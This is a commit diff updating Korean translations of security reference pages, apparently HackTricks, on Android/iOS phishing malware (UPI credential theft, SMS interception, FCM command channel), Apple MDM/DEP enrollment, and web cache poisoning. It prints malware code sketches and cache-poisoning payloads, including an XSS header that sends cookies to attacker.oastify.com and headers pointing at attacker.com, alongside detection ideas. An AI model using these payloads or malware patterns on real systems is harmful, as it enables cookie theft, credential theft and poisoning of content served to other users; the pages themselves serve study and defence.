Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-08-22 00:15:11 +00:00
parent 3366f4ed0b
commit 11d7d01e08
4 changed files with 256 additions and 136 deletions

View File

@ -10,7 +10,7 @@
1. **SEO/피싱 인프라**
* 유사 도메인 수십 개 등록(데이팅, 클라우드 공유, 차량 서비스 등).
Google에서 순위를 매기기 위해 `<title>` 요소에 지 언어 키워드와 이모지를 사용합니다.
Google에서 순위를 매기기 위해 `<title>` 요소에 지 언어 키워드와 이모지를 사용합니다.
*안드로이드*(`.apk`) 및 *iOS* 설치 지침을 동일한 랜딩 페이지에 호스팅합니다.
2. **1단계 다운로드**
* 안드로이드: *서명되지 않은* 또는 “제3자 스토어” APK에 대한 직접 링크.
@ -28,14 +28,14 @@
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- 이전 빌드는 SMS 권한도 요청했습니다 -->
```
* 최근 변종은 **`AndroidManifest.xml`에서 SMS에 대한 `<uses-permission>`을 제거**하지만, SMS를 리플렉션을 통해 읽는 Java/Kotlin 코드 경로는 남겨둡니다 ⇒ 권한을 `AppOps` 남용 또는 이전 대상을 통해 부여받는 장치에서 여전히 기능하면서 정적 점수를 낮춥니다.
* 최근 변종은 `AndroidManifest.xml`에서 SMS에 대한 `<uses-permission>`**제거**하지만, SMS를 리플렉션을 통해 읽는 Java/Kotlin 코드 경로는 남겨둡니다 ⇒ `AppOps` 남용이나 이전 타겟을 통해 권한을 부여받는 장치에서 여전히 기능적입니다.
5. **페사드 UI 및 백그라운드 수집**
* 앱은 로컬에서 구현된 무해한 뷰(SMS 뷰어, 갤러리 선택기)를 표시합니다.
* 동시에 다음을 유출합니다:
- IMEI / IMSI, 전화번호
- 전체 `ContactsContract` 덤프(JSON 배열)
- 전체 `ContactsContract` 덤프 (JSON 배열)
- 크기를 줄이기 위해 [Luban](https://github.com/Curzibn/Luban)으로 압축된 `/sdcard/DCIM`의 JPEG/PNG
- 선택적 SMS 내용(`content://sms`)
- 선택적 SMS 내용 (`content://sms`)
페이로드는 **배치 압축**되어 `HTTP POST /upload.php`를 통해 전송됩니다.
6. **iOS 배포 기술**
* 단일 **모바일 구성 프로필**이 `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` 등을 요청하여 장치를 “MDM”-유사 감독에 등록할 수 있습니다.
@ -50,14 +50,14 @@
## 방어 테스트 / 레드팀 팁
* **동적 분석 우회** 악성코드 평가 중 Frida/Objection을 사용하여 초대 코드 단계를 자동화하여 악성 분기로 도달합니다.
* **매니페스트 vs. 런타임 차이** `aapt dump permissions`와 런타임 `PackageManager#getRequestedPermissions()`를 비교합니다; 위험한 권한이 누락된 것은 경고 신호입니다.
* **네트워크 카나리** 코드 입력 후 비정상적인 POST 폭주를 감지하기 위해 `iptables -p tcp --dport 80 -j NFQUEUE`를 구성합니다.
* **매니페스트 vs. 런타임 차이** `aapt dump permissions`와 런타임 `PackageManager#getRequestedPermissions()`를 비교합니다; 위험한 권한이 누락된 경우 경고 신호입니다.
* **네트워크 카나리** 코드 입력 후 불안정한 POST 폭주를 감지하기 위해 `iptables -p tcp --dport 80 -j NFQUEUE`를 구성합니다.
* **mobileconfig 검사** macOS에서 `security cms -D -i profile.mobileconfig`를 사용하여 `PayloadContent`를 나열하고 과도한 권한을 찾아냅니다.
## 블루팀 탐지 아이디어
* **인증서 투명성 / DNS 분석**을 통해 키워드가 풍부한 도메인의 갑작스러운 폭주를 포착합니다.
* **User-Agent 및 경로 정규 표현식**: `(?i)POST\s+/(check|upload)\.php` Google Play 외부의 Dalvik 클라이언트에서.
* **User-Agent 및 경로 정규 표현식**: `(?i)POST\s+/(check|upload)\.php` Google Play 외부의 Dalvik 클라이언트에서 사용합니다.
* **초대 코드 텔레메트리** APK 설치 직후 68자리 숫자 코드의 POST는 스테이징을 나타낼 수 있습니다.
* **MobileConfig 서명** MDM 정책을 통해 서명되지 않은 구성 프로필을 차단합니다.
@ -86,9 +86,127 @@ return conn;
/upload.php # batched ZIP exfiltration
LubanCompress 1.1.8 # "Luban" string inside classes.dex
```
## References
---
## Android WebView 결제 피싱 (UPI) 드로퍼 + FCM C2 패턴
이 패턴은 인도 UPI 자격 증명과 OTP를 훔치기 위해 정부 혜택 테마를 악용하는 캠페인에서 관찰되었습니다. 운영자는 배달과 복원력을 위해 신뢰할 수 있는 플랫폼을 연결합니다.
### 신뢰할 수 있는 플랫폼을 통한 배달 체인
- YouTube 비디오 유인 → 설명에 짧은 링크 포함
- 짧은 링크 → 합법적인 포털을 모방한 GitHub Pages 피싱 사이트
- 동일한 GitHub 리포지토리는 파일에 직접 연결된 가짜 “Google Play” 배지를 가진 APK를 호스팅
- 동적 피싱 페이지는 Replit에서 운영; 원격 명령 채널은 Firebase Cloud Messaging (FCM)을 사용
### 임베디드 페이로드와 오프라인 설치가 포함된 드로퍼
- 첫 번째 APK는 실제 악성코드를 `assets/app.apk`에 배송하고 사용자가 클라우드 탐지를 무력화하기 위해 WiFi/모바일 데이터를 비활성화하도록 유도하는 설치 프로그램(드로퍼)입니다.
- 임베디드 페이로드는 무해한 레이블(예: “보안 업데이트”) 아래에 설치됩니다. 설치 후, 설치 프로그램과 페이로드는 별도의 앱으로 존재합니다.
정적 분류 팁 (임베디드 페이로드 검색):
```bash
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
```
### 단기 링크를 통한 동적 엔드포인트 발견
- 악성 소프트웨어는 단기 링크에서 실시간 엔드포인트의 일반 텍스트, 쉼표로 구분된 목록을 가져옵니다; 간단한 문자열 변환으로 최종 피싱 페이지 경로를 생성합니다.
예시 (정리됨):
```
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload: https://sqcepo.replit.app/addsm.php
```
의사 코드:
```java
String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
```
### WebView 기반 UPI 자격 증명 수집
- “₹1 / UPILite 결제하기” 단계는 WebView 내의 동적 엔드포인트에서 공격자의 HTML 양식을 로드하고 민감한 필드(전화, 은행, UPI PIN)를 캡처하여 `addup.php``POST`합니다.
최소 로더:
```java
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
```
### 자기 전파 및 SMS/OTP 가로채기
- 첫 실행 시 공격적인 권한 요청:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
```
- 연락처는 피해자의 장치에서 스미싱 SMS를 대량 전송하기 위해 루프됩니다.
- 수신된 SMS는 브로드캐스트 리시버에 의해 가로채어지고 메타데이터(발신자, 본문, SIM 슬롯, 장치별 랜덤 ID)와 함께 `/addsm.php`에 업로드됩니다.
Receiver sketch:
```java
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
for (SmsMessage m: msgs){
postForm(urlAddSms, new FormBody.Builder()
.add("senderNum", m.getOriginatingAddress())
.add("Message", m.getMessageBody())
.add("Slot", String.valueOf(getSimSlot(i)))
.add("Device rand", getOrMakeDeviceRand(c))
.build());
}
}
```
### Firebase Cloud Messaging (FCM) as resilient C2
- 페이로드는 FCM에 등록됩니다; 푸시 메시지는 동작을 트리거하는 데 사용되는 `_type` 필드를 포함합니다 (예: 피싱 텍스트 템플릿 업데이트, 행동 전환).
Example FCM payload:
```json
{
"to": "<device_fcm_token>",
"data": {
"_type": "update_texts",
"template": "New subsidy message..."
}
}
```
핸들러 스케치:
```java
@Override
public void onMessageReceived(RemoteMessage msg){
String t = msg.getData().get("_type");
switch (t){
case "update_texts": applyTemplate(msg.getData().get("template")); break;
case "smish": sendSmishToContacts(); break;
// ... more remote actions
}
}
```
### 사냥 패턴 및 IOC
- APK는 `assets/app.apk`에 보조 페이로드를 포함합니다.
- WebView는 `gate.htm`에서 결제를 로드하고 `/addup.php`로 유출합니다.
- SMS 유출은 `/addsm.php`로 진행됩니다.
- 단축 링크 기반 구성 가져오기 (예: `rebrand.ly/*`)가 CSV 엔드포인트를 반환합니다.
- 일반 “업데이트/보안 업데이트”로 라벨이 붙은 앱들.
- 신뢰할 수 없는 앱에서 `_type` 구분자가 있는 FCM `data` 메시지.
### 탐지 및 방어 아이디어
- 설치 중 사용자에게 네트워크 비활성화를 지시하고 `assets/`에서 두 번째 APK를 사이드 로드하도록 하는 앱에 플래그를 지정합니다.
- 권한 튜플: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView 기반 결제 흐름에 대한 경고.
- 비기업 호스트에서 `POST /addup.php|/addsm.php`에 대한 이그레스 모니터링; 알려진 인프라 차단.
- 모바일 EDR 규칙: FCM에 등록하고 `_type` 필드에 따라 분기하는 신뢰할 수 없는 앱.
---
## 참조
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [Luban Android image compression library](https://github.com/Curzibn/Luban)
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -11,7 +11,7 @@
### **MDM (모바일 장치 관리) 개요**
[모바일 장치 관리](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM)는 스마트폰, 노트북 및 태블릿과 같은 다양한 최종 사용자 장치를 관리하는 데 사용됩니다. 특히 Apple의 플랫폼(iOS, macOS, tvOS)에 대해, 이는 일련의 전문 기능, API 및 관행을 포함합니다. MDM의 작동은 상용 또는 오픈 소스인 호환 MDM 서버에 의존하며, [MDM 프로토콜](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)을 지원해야 합니다. 주요 사항은 다음과 같습니다:
[모바일 장치 관리](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM)는 스마트폰, 노트북 및 태블릿과 같은 다양한 최종 사용자 장치를 관리하는 데 사용됩니다. 특히 Apple의 플랫폼(iOS, macOS, tvOS)에서는 특수 기능, API 및 관행의 집합이 포함됩니다. MDM의 작동은 상용 또는 오픈 소스인 호환 MDM 서버에 의존하며, [MDM 프로토콜](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)을 지원해야 합니다. 주요 사항은 다음과 같습니다:
- 장치에 대한 중앙 집중식 제어.
- MDM 프로토콜을 준수하는 MDM 서버에 의존.
@ -19,7 +19,7 @@
### **DEP (장치 등록 프로그램) 기본 사항**
Apple 제공하는 [장치 등록 프로그램](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP)은 iOS, macOS 및 tvOS 장치에 대한 제로 터치 구성을 용이하게 하여 모바일 장치 관리(MDM)의 통합을 간소화합니다. DEP는 등록 프로세스를 자동화하여 장치가 최소한의 사용자 또는 관리 개입으로 즉시 작동할 수 있도록 합니다. 필수 측면은 다음과 같습니다:
Apple에서 제공하는 [장치 등록 프로그램](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP)은 iOS, macOS 및 tvOS 장치에 대한 제로 터치 구성을 용이하게 하여 모바일 장치 관리(MDM)의 통합을 간소화합니다. DEP는 등록 프로세스를 자동화하여 장치가 최소한의 사용자 또는 관리 개입으로 즉시 작동할 수 있도록 합니다. 필수 사항은 다음과 같습니다:
- 장치가 초기 활성화 시 미리 정의된 MDM 서버에 자율적으로 등록할 수 있도록 합니다.
- 주로 새 장치에 유용하지만 재구성 중인 장치에도 적용 가능합니다.
@ -52,14 +52,14 @@ DEP가 제공하는 등록의 용이성은 유익하지만 보안 위험을 초
- **통신**은 **장치**와 **장치 관리** **제품**과 관련된 서버 간에 발생합니다.
- **명령**은 **plist 인코딩된 사전** 형식으로 MDM에서 장치로 전달됩니다.
- 모든 것이 **HTTPS**를 통해 이루어집니다. MDM 서버는 (대개) 핀 고정됩니다.
- Apple은 MDM 벤더에게 인증을 위한 **APNs 인증서**를 부여합니다.
- Apple은 인증을 위해 MDM 벤더에게 **APNs 인증서**를 부여합니다.
### DEP
- **3개의 API**: 1개는 리셀러용, 1개는 MDM 벤더용, 1개는 장치 식별용(문서화되지 않음):
- 이른바 [DEP "클라우드 서비스" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). MDM 서버가 특정 장치와 DEP 프로파일을 연결하는 데 사용됩니다.
- 소위 [DEP "클라우드 서비스" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). MDM 서버가 특정 장치와 DEP 프로파일을 연결하는 데 사용됩니다.
- Apple 공인 리셀러가 장치를 등록하고, 등록 상태를 확인하고, 거래 상태를 확인하는 데 사용하는 [DEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html).
- 문서화되지 않은 비공식 DEP API. Apple 장치가 자신의 DEP 프로파일을 요청하는 데 사용됩니다. macOS에서는 `cloudconfigurationd` 바이너리가 이 API를 통해 통신하는 역할을 합니다.
- 문서화되지 않은 비공식 DEP API. Apple 장치가 자신의 DEP 프로파일을 요청하는 데 사용됩니다. macOS에서는 `cloudconfigurationd` 바이너리가 이 API를 통해 통신하는 책임이 있습니다.
- 더 현대적이고 **JSON** 기반입니다(대비 plist).
- Apple은 MDM 벤더에게 **OAuth 토큰**을 부여합니다.
@ -75,7 +75,7 @@ DEP가 제공하는 등록의 용이성은 유익하지만 보안 위험을 초
## 일련 번호
2010년 이후 제조된 Apple 장치는 일반적으로 **12자리 알phanumeric** 일련 번호를 가지며, **첫 세 자리는 제조 위치**를 나타내고, 다음 **두 자리는 제조 연도**와 **주**를 나타내며, 다음 **세 자리는 고유 식별자**를 제공하고, **마지막 네 자리는 모델 번호**를 나타냅니다.
2010년 이후 제조된 Apple 장치는 일반적으로 **12자리 알phanumeric** 일련 번호를 가지며, **첫 세 자리는 제조 위치**를 나타내고, 다음 **두 자리는** **제조 연도**와 **주**를 나타내며, 다음 **세 자리는** **고유 식별자**를 제공하고, **마지막 네 자리는** **모델 번호**를 나타냅니다.
{{#ref}}
macos-serial-number.md
@ -103,19 +103,19 @@ macos-serial-number.md
또는 `sudo profiles show -type enrollment`을 실행할 때
- **장치가 DEP 활성화되었는지 여부 확인**
- **장치가 DEP 활성화되었는지 여부 확인합니다.**
- 활성화 기록은 **DEP “프로파일”**의 내부 이름입니다.
- 장치가 인터넷에 연결되면 시작됩니다.
- **`CPFetchActivationRecord`**에 의해 구동됩니다.
- **`cloudconfigurationd`**가 XPC를 통해 구현합니다. **"설정 도우미"** (장치가 처음 부팅될 때) 또는 **`profiles`** 명령이 이 데몬에 연락하여 활성화 기록을 검색합니다.
- LaunchDaemon (항상 root로 실행)
- **`cloudconfigurationd`**가 XPC를 통해 구현합니다. **"설정 도우미"**(장치가 처음 부팅될 때) 또는 **`profiles`** 명령이 이 데몬에 연락하여 활성화 기록을 검색합니다.
- LaunchDaemon (항상 root로 실행)
활성화 기록을 가져오기 위해 **`MCTeslaConfigurationFetcher`**가 수행하는 몇 가지 단계를 따릅니다. 이 프로세스는 **Absinthe**라는 암호화를 사용합니다.
활성화 기록을 가져오는 과정은 **`MCTeslaConfigurationFetcher`**에 의해 수행됩니다. 이 과정은 **Absinthe**라는 암호화를 사용합니다.
1. **인증서 검색**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. 인증서에서 상태 **초기화** (**`NACInit`**)
1. 다양한 장치 특정 데이터 사용합니다(예: **`IOKit`를 통한 일련 번호**).
1. 다양한 장치 특정 데이터 사용(예: **`IOKit`를 통한 일련 번호**)
3. **세션 키 검색**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. 세션 설정 (**`NACKeyEstablishment`**)
@ -135,7 +135,7 @@ macos-serial-number.md
![](<../../../images/image (444).png>)
- **DEP 프로파일**에 제공된 **url**로 요청이 전송됩니다.
- **DEP 프로파일에 제공된 url**로 요청이 전송됩니다.
- 제공된 경우 **앵커 인증서**가 **신뢰성 평가**에 사용됩니다.
- 알림: **DEP 프로파일의 anchor_certs** 속성
- **요청은 장치 식별이 포함된 간단한 .plist**입니다.

View File

@ -25,7 +25,7 @@
### 발견: 캐시 오류 코드
응답이 캐시에 저장되고 있다고 생각되면, **잘못된 헤더로 요청을 보내** 보십시오. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청에 정상적으로 접근해보고 **응답이 400 상태 코드**라면, 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다).
응답이 캐시에 저장되고 있다고 생각되면, **잘못된 헤더로 요청을 보내는** 것을 시도해 볼 수 있습니다. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해 보고 **응답이 400 상태 코드**인 경우, 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다).
더 많은 옵션은 다음에서 찾을 수 있습니다:
@ -33,7 +33,7 @@
cache-poisoning-to-dos.md
{{#endref}}
하지만 **때때로 이러한 상태 코드가 캐시되지 않을 수** 있으므로 이 테스트는 신뢰할 수 없을 수 있습니다.
그러나 **때때로 이러한 종류의 상태 코드는 캐시되지 않기 때문에** 이 테스트가 신뢰할 수 없을 수 있습니다.
### 발견: 키가 없는 입력 식별 및 평가
@ -47,23 +47,23 @@ cache-poisoning-to-dos.md
### 응답 캐시 가져오기
악용할 수 있는 **페이지**를 **식별**하고 사용할 **매개변수**/**헤더**와 **악용하는 방법**을 파악한 후, 페이지를 캐시해야 합니다. 캐시에 가져오려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 시도해야 할 수도 있습니다.
악용할 수 있는 **페이지**를 **식별**하고, 사용할 **매개변수**/**헤더**와 **악용하는 방법**을 파악한 후, 페이지를 캐시해야 합니다. 캐시에 가져오려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 시도해야 할 수도 있습니다.
응답의 헤더 **`X-Cache`**는 요청이 캐시되지 않았을 때 **`miss`** 값을 가질 수 있고, 캐시되었을 때는 **`hit`** 값을 가질 수 있으므로 매우 유용할 수 있습니다.\
헤더 **`Cache-Control`**은 리소스가 캐시되고 있는지, 다음에 리소스가 다시 캐시될 때를 알기 위해 아는 것이 흥미롭습니다: `Cache-Control: public, max-age=1800`
응답의 **`X-Cache`** 헤더는 요청이 캐시되지 않았을 때 **`miss`** 값을 가질 수 있고, 캐시되었을 때는 **`hit`** 값을 가질 수 있으므로 매우 유용할 수 있습니다.\
**`Cache-Control`** 헤더는 리소스가 캐시되고 있는지, 다음에 리소스가 다시 캐시될 때를 아는 데 흥미롭습니다: `Cache-Control: public, max-age=1800`
또 다른 흥미로운 헤더는 **`Vary`**입니다. 이 헤더는 종종 **캐시 키의 일부로 처리되는 추가 헤더**를 **지시하는 데 사용**되며, 일반적으로 키가 없는 경우에도 해당됩니다. 따라서 사용자가 타겟으로 하는 피해자의 `User-Agent`를 알고 있다면, 특정 `User-Agent`를 사용하는 사용자들을 위해 캐시를 오염시킬 수 있습니다.
캐시와 관련된 또 다른 헤더는 **`Age`**입니다. 이는 객체가 프록시 캐시에 있는 시간을 초 단위로 정의합니다.
요청을 캐시할 때는 사용하는 헤더에 **주의해야** 합니다. 일부 헤더는 **예상치 않게** **키가 있는** 것으로 사용될 수 있으며, **피해자는 동일한 헤더를 사용해야** 합니다. 항상 **다양한 브라우저**로 캐시 오염을 **테스트**하여 작동하는지 확인하십시오.
요청을 캐시할 때는 **사용하는 헤더에 주의**해야 합니다. 일부 헤더는 **예상치 않게** **키로 사용될 수** 있으며, **피해자는 동일한 헤더를 사용해야 합니다**. 항상 **다양한 브라우저**로 캐시 오염을 **테스트**하여 작동하는지 확인하십시오.
## 악용 예시
### 가장 쉬운 예
헤더 `X-Forwarded-For`가 응답에 정화되지 않고 반영되고 있습니다.\
기본 XSS 페이로드를 전송하고 캐시를 오염시켜 페이지에 접근하는 모든 사람이 XSS에 노출되도록 할 수 있습니다:
`X-Forwarded-For`와 같은 헤더가 응답에 정화되지 않고 반영되고 있습니다.\
기본 XSS 페이로드를 전송하고 캐시를 오염시켜 페이지에 접근하는 모든 사용자가 XSS에 노출되도록 할 수 있습니다:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
@ -79,11 +79,11 @@ cache-poisoning-to-dos.md
### CDN을 통한 캐시 오염
**[이 글](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)**에서는 다음과 같은 간단한 시나리오가 설명되어 있습니다:
**[이 글](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)**에서는 다음과 같은 간단한 시나리오가 설명니다:
- CDN은 `/share/` 아래의 모든 것을 캐시합니다.
- CDN은 `%2F..%2F`를 디코딩하거나 정규화하지 않으므로, **캐시될 수 있는 다른 민감한 위치에 접근하기 위한 경로 탐색으로 사용할 수 있습니다**. 예: `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- 웹 서버는 `%2F..%2F`를 디코딩하고 정규화하며, `/api/auth/session`으로 응답합니다. 이 응답**인증 토큰을 포함합니다**.
- CDN은 `%2F..%2F`를 디코딩하거나 정규화하지 않으므로, 이를 사용하여 **캐시될 수 있는 다른 민감한 위치에 접근하기 위한 경로 탐색**으로 사용할 수 있습니다. 예: `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- 웹 서버는 `%2F..%2F`를 디코딩하고 정규화하며, `/api/auth/session`으로 응답합니다. 이 응답에는 **인증 토큰**이 포함되어 있습니다.
### 쿠키 처리 취약점을 악용하기 위한 웹 캐시 오염 사용
@ -99,6 +99,7 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
확인하십시오:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
@ -109,13 +110,14 @@ cache-poisoning-via-url-discrepancies.md
이것은 다음에서 더 잘 설명됩니다:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### 웹 캐시 오염 취약점을 악용하기 위한 여러 헤더 사용 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### 웹 캐시 오염 취약점을 악용하기 위한 여러 헤더 사용하기 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
때때로 **캐시를 악용하기 위해 여러 개의 키가 없는 입력을 악용해야** 할 필요가 있습니다. 예를 들어, `X-Forwarded-Host`를 귀하가 제어하는 도메인으로 설정하고 `X-Forwarded-Scheme``http`로 설정하면 **Open redirect**를 찾을 수 있습니다. **서버**가 모든 **HTTP** 요청을 **HTTPS**로 **전달**하고 `X-Forwarded-Scheme` 헤더를 리디렉션 도메인 이름으로 사용하는 경우, 리디렉션에 의해 페이지가 가리키는 위치를 제어할 수 있습니다.
때때로 **캐시를 악용하기 위해 여러 개의 키가 없는 입력을 악용해야** 할 필요가 있습니다. 예를 들어, `X-Forwarded-Host`를 귀하가 제어하는 도메인으로 설정하고 `X-Forwarded-Scheme``http`로 설정하면 **Open redirect**를 찾을 수 있습니다. **서버**가 모든 **HTTP** 요청을 **HTTPS**로 **전달**하고 `X-Forwarded-Scheme` 헤더를 리디렉션을 위한 도메인 이름으로 사용하는 경우, 리디렉션에 의해 페이지가 가리키는 위치를 제어할 수 있습니다.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -124,7 +126,7 @@ X-Forwarded-Scheme: http
```
### 제한된 `Vary` 헤더로 악용하기
만약 **`X-Host`** 헤더가 **JS 리소스를 로드하기 위한 도메인 이름**으로 사용되고 있지만, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 나타내고 있다면, 피해자의 User-Agent를 유출하고 해당 User-Agent를 사용하여 캐시를 오염시킬 방법을 찾아야 합니다:
**`X-Host`** 헤더가 **JS 리소스를 로드하기 위한 도메인 이름**으로 사용되고 있지만, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 나타내고 있다면, 피해자의 User-Agent를 유출하고 해당 User-Agent를 사용하여 캐시를 오염시킬 방법을 찾아야 합니다:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -133,7 +135,7 @@ X-Host: attacker.com
```
### Fat Get
URL과 본문에 요청을 포함하여 GET 요청을 보냅니다. 웹 서버가 본문에서 요청을 사용하지만 캐시 서버가 URL에서 요청을 캐시하는 경우, 해당 URL에 접근하는 모든 사용자는 실제로 본문에서 매개변수를 사용하게 됩니다. James Kettle이 Github 웹사이트에서 발견한 취약점과 같습니다:
URL와 본문에 요청을 포함한 GET 요청을 보냅니다. 웹 서버가 본문에서 요청을 사용하지만 캐시 서버가 URL에서 요청을 캐시하는 경우, 해당 URL에 접근하는 모든 사용자는 실제로 본문에서 파라미터를 사용하게 됩니다. James Kettle이 Github 웹사이트에서 발견한 취약점과 같습니다:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -144,23 +146,23 @@ report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Cloaking
### 매개변수 클로킹
예를 들어, **parameters**를 ruby 서버에서 **`;`** 문자를 사용하여 **`&`** 대신 분할 수 있습니다. 이를 사용하여 키가 없는 매개변수 값을 키가 있는 매개변수 안에 넣고 악용할 수 있습니다.
예를 들어, **parameters**를 ruby 서버에서 **`;`** 문자를 사용하여 **`&`** 대신 분할 수 있습니다. 이를 사용하여 키가 없는 매개변수 값을 키가 있는 매개변수 안에 넣고 악용할 수 있습니다.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
### HTTP 요청 스머글링을 악용한 HTTP 캐시 오염 공격
여기에서 [HTTP Request Smuggling을 악용한 Cache Poisoning 공격 수행 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)에 대해 알아보세요.
여기에서 [HTTP 요청 스머글링을 악용한 캐시 오염 공격 수행 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)을 배울 수 있습니다.
### Automated testing for Web Cache Poisoning
### 웹 캐시 오염에 대한 자동화된 테스트
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)는 웹 캐시 오염을 자동으로 테스트하는 데 사용할 수 있습니다. 다양한 기술을 지원하며 매우 사용자 정의가 가능합니다.
Example usage: `wcvs -u example.com`
예제 사용법: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
### 헤더 반사 XSS + CDN/WAF 지원 캐시 시딩 (User-Agent, 자동 캐시된 .js)
이 실제 패턴은 헤더 기반 반사 원시 기능과 CDN/WAF 동작을 연결하여 다른 사용자에게 제공되는 캐시된 HTML을 신뢰성 있게 오염시킵니다:
@ -171,12 +173,12 @@ Example usage: `wcvs -u example.com`
실용적인 레시피(인기 있는 CDN/WAF에서 관찰됨):
1) 깨끗한 IP에서(이전 평판 기반 하락을 피하기 위해) 브라우저 또는 Burp Proxy Match & Replace를 통해 악성 `User-Agent`를 설정합니다.
2) Burp Repeater에서 두 개의 요청 그룹을 준비하고 "Send group in parallel"을 사용합니다(단일 패킷 모드가 가장 잘 작동합니다):
2) Burp Repeater에서 두 개의 요청 그룹을 준비하고 "병렬로 그룹 전송"을 사용합니다(단일 패킷 모드가 가장 잘 작동합니다):
- 첫 번째 요청: 악성 `User-Agent`를 보내면서 동일한 출처의 `.js` 리소스 경로를 GET합니다.
- 즉시 후에: 주요 페이지(`/`)를 GET합니다.
3) CDN/WAF 라우팅 경쟁과 자동 캐시된 `.js`는 종종 오염된 캐시 HTML 변형을 시드하여 동일한 캐시 키 조건(예: 동일한 `Vary` 차원인 `User-Agent`)을 공유하는 다른 방문자에게 제공됩니다.
3) CDN/WAF 라우팅 경쟁과 자동 캐시된 `.js`는 종종 오염된 캐시 HTML 변형을 시드하여 동일한 캐시 키 조건(예: 동일한 `Vary` 차원인 `User-Agent`)을 공유하는 다른 방문자에게 제공됩니다.
Example header payload (to exfiltrate non-HttpOnly cookies):
예제 헤더 페이로드(비 HttpOnly 쿠키를 유출하기 위해):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
@ -200,7 +202,7 @@ User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oas
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
